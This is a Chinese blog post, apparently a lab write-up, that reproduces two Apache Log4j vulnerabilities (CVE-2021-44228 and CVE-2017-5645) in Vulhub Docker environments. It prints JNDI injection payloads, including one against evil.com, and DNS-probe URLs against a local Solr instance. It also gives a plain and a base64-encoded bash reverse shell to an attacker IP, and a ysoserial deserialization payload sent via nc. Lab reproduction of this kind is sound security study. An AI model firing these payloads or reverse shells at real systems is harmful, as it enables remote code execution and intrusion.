vulhub-log4j漏洞复现
CVE-2021-44228 Apache Log4j 远程代码执行漏洞
漏洞描述
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
参考地址:
1 | https://github.com/vulhub/vulhub |
复制
本次漏洞复现也是基于Vulhub
漏洞复现
1 | docker-compose up -d --build |
访问http://127.0.0.1:8983/solr/#/
进行dns测试看是否存在漏洞
先拿一个域名
构造
${jndi:dns://${sys:java.version}.example.com}
是利用JNDI发送DNS请求的Payload:
1 | http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.sij1vb.dnslog.cn} |
直接访问
1 | http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3j7r1s.dnslog.cn} |
得到java的版本是1.8
那么这也说明了是可以执行命令的
于是进行反弹shell
反弹shell
1 | bash -i >& /dev/tcp/vps_ip/6666 0>&1 |
最终形态
1 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} |
反弹shell需要的工具
payload
1 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} -A "192.168.142.129" |
-C是编码后的内容,-A是反弹shell的ip地址。
注意要先nc监听6666端口.
因为查出来的java版本是1.8
然后进行抓包发包
把生成的payload拿去打
然后就成功将shell反弹
vulhub-log4j漏洞复现(CVE-2017-5645)
漏洞复现
还是先利用docker搭建环境
搭建完毕
准备工具,这里用的是 ysoserial
然后cd进入该目录,使用mvn clean package -DskipTests
命令生成jar包
这里话java版本换成java1.8_20 和fastjson那个方法一样来设置java版本
1 | java ‐jar ysoserial-v0.0.6-all.jar CommonsCollections5 "touch /tmp/success" | nc 192.168.217.134 4712 |
这里是往/tmp命令里写入success文件,
因为不知道哪个ip开启了4712端口
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ke1nys`Blog!